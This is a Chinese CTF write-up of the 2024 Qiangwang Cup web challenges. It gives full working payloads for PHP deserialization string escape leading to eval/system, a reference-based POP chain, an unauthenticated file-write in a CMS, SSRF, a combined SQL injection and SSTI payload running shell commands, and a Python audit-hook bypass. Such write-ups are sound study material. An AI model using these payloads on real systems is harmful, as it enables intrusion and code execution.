2024 强网杯 web
最近有点忙 比赛题目好多都没复现 欸
最后做题情况如下
php
给了源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php session_start ();require 'user.php' ;require 'class.php' ;$sessionManager = new SessionManager ();$SessionRandom = new SessionRandom ();if ($_SERVER ['REQUEST_METHOD' ] === 'POST' ) { $username = $_POST ['username' ]; $password = $_POST ['password' ]; $_SESSION ['user' ] = $username ; if (!isset ($_SESSION ['session_key' ])) { $_SESSION ['session_key' ] =$SessionRandom -> generateRandomString (); } $_SESSION ['password' ] = $password ; $result = $sessionManager ->filterSensitiveFunctions (); header ('Location: dashboard.php' ); exit (); } else { require 'login.php' ; }
这个登录点在登录之后设置了session session结构如下
1 2 user类|username的序列化数据|随机生成的sessionkey|密码 如 user|s:3:"123";session_key|s:41:"ScQxmMpStD6gs1w2Onq0w4zdGJqKtSsmCeIy3es4X";password|s:3:"123";
这里的filterSensitiveFunctions 方法 会把这些字符替换成空
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public function filterSensitiveFunctions ( ) { $sessionFile = $this ->getSessionFilePath (); if (file_exists ($sessionFile )) { $sessionData = file_get_contents ($sessionFile ); foreach ($this ->sensitiveFunctions as $function ) { if (strpos ($sessionData , $function ) !== false ) { $sessionData = str_replace ($function , '' , $sessionData ); echo ($sessionData ); } } file_put_contents ($sessionFile , $sessionData ); return "Sensitive functions have been filtered from the session file." ; } else { return "Session file not found." ; } }
我们可以利用这个进行字符串逃逸注入我们的序列化数据
危险类notouchitsclass如下
1 2 3 4 5 6 7 8 9 10 11 12 class notouchitsclass { public $data; public function __construct($data) { $this->data = $data; } public function __destruct() { eval($this->data); } }
构造得到恶意序列化数据
1 O:15:"notouchitsclass":1:{s:4:"data";s:7:"`calc`;";} 长度为53
能控制的只有password和username
由于key是随机的 不方便控制 但是password后面没有其他数据 方便我们注入
问题是 s的长度会随着我们注入的payload的长度增加 无法逃逸成功 我们这里选用数组的方式 绕过这个限制
1 2 3 4 5 6 7 8 9 10 11 12 <?php class User { public $username ; public $password ; } $payload =new User ();$payload -> username="test" ;$payload -> password = array ('1' ,'1' );echo serialize ($payload );
这里传递的password 传递的参数是两个 第一个传递非法字符串 被替换成空 第二个闭合前面的数组 然后完成注入
1 第一个值需要闭合后面的 也就是12个字符 这里是 ";i:1;i:1;}| 使用systemsystem即可
这题我在windows下没有成功复现 但是比赛的时候线上环境可以( 不知道为啥
1 username=1&password[]=evalevaleval&password[]=";i:1;i:1;}|O:15:"notouchitsclass":1:{s:4:"data";s:20:"systsystemem('/readflag');";}
Password game 源代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php function filter ($password ) { $filter_arr = array ("admin" ,"2024qwb" ); $filter = '/' .implode ("|" ,$filter_arr ).'/i' ; return preg_replace ($filter ,"nonono" ,$password ); } class guest { public $username ; public $value ; public function __tostring ( ) { if ($this ->username=="guest" ){ $value (); } return $this ->username; } public function __call ($key ,$value ) { if ($this ->username==md5 ($GLOBALS ["flag" ])){ echo $GLOBALS ["flag" ]; } } } class root { public $username ; public $value ; public function __get ($key ) { if (strpos ($this ->username, "admin" ) == 0 && $this ->value == "2024qwb" ){ $this ->value = $GLOBALS ["flag" ]; echo md5 ("hello:" .$this ->value); } } } class user { public $username ; public $password ; public $value ; public function __invoke ( ) { $this ->username=md5 ($GLOBALS ["flag" ]); return $this ->password->guess (); } public function __destruct ( ) { if (strpos ($this ->username, "admin" ) == 0 ){ echo "hello" .$this ->username; } } } $user =unserialize (filter ($_POST ["password" ]));if (strpos ($user ->username, "admin" ) == 0 && $user ->password == "2024qwb" ){ echo "hello!" ; }
限制比较怪
1 2 1: 请至少包含数字和大小写字母 2: 密码中所有数字之和必须为某个数字的倍数(这个倍数很奇怪 大家不太一样的)
最开始的时候 思维拘泥在触发这个destruct方法上了 死活不到怎么搞
注意到这里
1 2 3 if (strpos ($user ->username, "admin" ) == 0 && $user ->password == "2024qwb" ){ echo "hello!" ; }
这里调用了两个属性 如果属性不存在 就会调用到get方法 root类满足我们的要求
这里给value赋值成了flag 我们可以使用引用的方式获取flag
输出点只有user() 类里面的$this->username 里面
我们可以把user的username作为value的引用 然后输出flag
payload 1 2 3 4 5 6 7 $payload = new root ();$payload ->username="123" ;$payload ->value="2024qwb" ;$payload ->pass=new user ();$payload ->pass->username=&$payload ->value;echo serialize ($payload );
我这里使用了一个不存在的pass这个变量 搭载我们的payload 这样保证触发最后的destruct在赋值之后 方便我们输出flag
绕过就是老生常谈 16进制绕过一下就行了 不多说
还看到baozongwi师傅的 payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class root{ public $username; public $value; } class user{ public $username; public $password; public $value; } $a=new root(); $a->username=new user(); $a->username->username="2024qwb"; $a->value=&$a->username->username; $b=serialize($a); $c=str_replace('s:7:"2024qwb"','S:7:"2024\\71wb"',$b); echo $c;
通过username直接传递payload 由于后面还是调用了他指向的内存 使得引用一直不为0 从而成功在赋值后销毁获取flag
xiaohuanxiong 一个小浣熊的cve 源码网址在这里https://github.com/forkable/xiaohuanxiong
网上很多魔改的源码 我甚至下了个xiaohuanxiong的小说审计了一会 够八
文档里面给了 一个基于thinkphp搭建的服务
解题 admin/payment/index 接口未授权 存在任意写文件
直接写一句话木马即可
得到flag
审计 这个cms是基于thinkphp写的
在BaseAdmin 这个类里面定义了鉴权的方式
1 2 3 4 5 protected function checkAuth ( ) { if (!Session ::has ('xwx_admin' )) { $this ->redirect ('admin/login/index' ); } }
只要继承了BaseAdmin 并且调用了initialize() 方法的路由均存在鉴权
值得注意的是 如果 initialize 方法用于在子类中触发父类的初始化逻辑并调用权限检查逻辑,则该方法需要是 public 的
我们利用的Payment类的initialize 方法是protected 自然不存在鉴权
所以它实际上很多的路由都是没有鉴权的
比如说admin/Admins 类
我们可以增改任意管理员
在admin/index.php 目录下 的update方法 也存在类似的文件写
类似未授权太多 不一一列举了
Proxy 他写了一个代理服务
可以给proxy发送一个网址 他会代替我们访问 并且访问请求结果
他的nginx 反代设置里面 限制了flag路由必须要本地访问 我们可以借此造成ssrf获取flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 server { listen 8000 ; location ~ /v1 { return 403 ; } location ~ /v2 { proxy_pass http://localhost:8769; proxy_http_version 1 .1 ; proxy_set_header Host $host ; proxy_set_header X-Real-IP $remote_addr ; proxy_set_header Upgrade $http_upgrade ; proxy_set_header Connection $connection_upgrade ; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for ; } }
成功得到flag
snake 替换js 写一个无敌版的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 const canvas = document.getElementById('gameCanvas'); const ctx = canvas.getContext('2d'); let snake = []; let food = {}; let score = 0; function draw() { ctx.clearRect(0, 0, canvas.width, canvas.height); // 绘制蛇 ctx.fillStyle = '#00ff00'; snake.forEach(segment => { ctx.fillRect(segment[0] * 20, segment[1] * 20, 20, 20); }); // 绘制食物 ctx.fillStyle = '#ff0000'; ctx.fillRect(food.x * 20, food.y * 20, 20, 20); // 显示分数 document.getElementById('score').innerText = `Score: ${score}`; } var look = false function update() { if (look) return; var x = snake[0][0] var y = snake[0][1] console.log(x, y, currentDirection) switch(currentDirection) { case "LEFT": if (x > 0) x -= 1; break case "RIGHT": if (x < 20) x += 1; break case "UP": if (y > 0) y -= 1; break case "DOWN": if (y < 20) y += 1; break } if (x == -1 && currentDirection == "LEFT") return; if (x == 20 && currentDirection == "RIGHT") return; if (y == -1 && currentDirection == "UP") return; if (y == 20 && currentDirection == "DOWN") return; for (var i = 0; i < snake.length; i++) { if (x == snake[i][0] && y == snake[i][1]) return } console.log(x, y, currentDirection) look = true; fetch('/move', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ direction: currentDirection }) }) .then(response => response.json()) .then(data => { if (data.status === 'game_over') { alert(`Game Over! Your score: ${data.score}`); reset_game(); }else if (data.status === 'win') { window.location.href = `${data.url}`; }else { snake = data.snake; food = { x: data.food[0], y: data.food[1] }; score = data.score; draw(); look = false; } }); } let currentDirection = 'RIGHT'; document.addEventListener('keydown', event => { switch (event.key) { case 'ArrowUp': currentDirection = 'UP'; break; case 'ArrowDown': currentDirection = 'DOWN'; break; case 'ArrowLeft': currentDirection = 'LEFT'; break; case 'ArrowRight': currentDirection = 'RIGHT'; break; } }); function reset_game() { fetch('/move', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ direction: 'RIGHT' }) }) .then(response => response.json()) .then(data => { snake = data.snake; food = { x: data.food[0], y: data.food[1] }; score = data.score; draw(); setInterval(update, 250); }); } // 初始化游戏 reset_game();
成功进入
存在ssti注入和sql注入的回显 直接注入即可
1 /snake_win?username=1' union select 1,2,"{{lipsum.__globals__.__builtins__.eval('__import__(\'os\').popen(\'cat /f*\').read()')}}"-- -
PyBlockly 一个图形化编程的网站
主要处理json的逻辑如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 @app.route('/blockly_json' , methods=['POST' ] ) def blockly_json (): blockly_data = request.get_data() print (type (blockly_data)) blockly_data = json.loads(blockly_data.decode('utf-8' )) print (blockly_data) try : python_code = json_to_python(blockly_data) return do(python_code) except Exception as e: return jsonify({"error" : "Error generating Python code" , "details" : str (e)}) if __name__ == '__main__' : app.run(host = '0.0.0.0' )
在block_to_python 里面 这里当类型是text的时候
会进行一次unicode解码处理 这里就可以使用unicode去绕过这个blacklist_pattern
相当于 我们可以执行任意代码
但是这里存在一个hook函数
1 2 3 4 5 6 7 8 9 def my_audit_hook (event_name, arg ): blacklist = ["popen" , "input" , "eval" , "exec" , "compile" , "memoryview" ] if len (event_name) > 4 : raise RuntimeError("Too Long!" ) for bad in blacklist: if bad in event_name: raise RuntimeError("No!" ) __import__ ('sys' ).addaudithook(my_audit_hook)
这里设置了全局的hook len(event_name)意味着我们不能import任何类 只能调用python内置的函数
len函数重写 我们可以使用builtins
1 2 def aa(a):return 1 __builtins__.__dict__['len']=aa
覆盖len方法 绕过长度的限制 然后rce即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 def my_audit_hook (event_name, arg ): blacklist = ["popen" , "input" , "eval" , "exec" , "compile" , "memoryview" ] if len (event_name) > 4 : print ("hook!" ) raise RuntimeError("Too Long!" ) for bad in blacklist: if bad in event_name: raise RuntimeError("No!" ) __import__ ('sys' ).addaudithook(my_audit_hook)def aa (a ):return 1 __builtins__.__dict__['len' ]=aa.__dict__['len' ]=aa __import__ ('os' ).system('calc' )
这题的dd存在s位 读取flag即可
赛后交流的时候发现这题还有其他的做法
.pth 覆盖 .pth 文件可以用来扩展 Python 的模块搜索路径。这种 .pth 文件通常放置在 Python 的 site-packages 目录中,用来添加自定义的路径到 Python 的模块搜索路径中。
.pth 文件中的内容不仅限于路径,实际上可以包含特定的 Python 代码。
我们可以将site-packages 写入.pth文件 然后执行任意代码
这题可以把执行结果写入到 /tmp目录下 再读取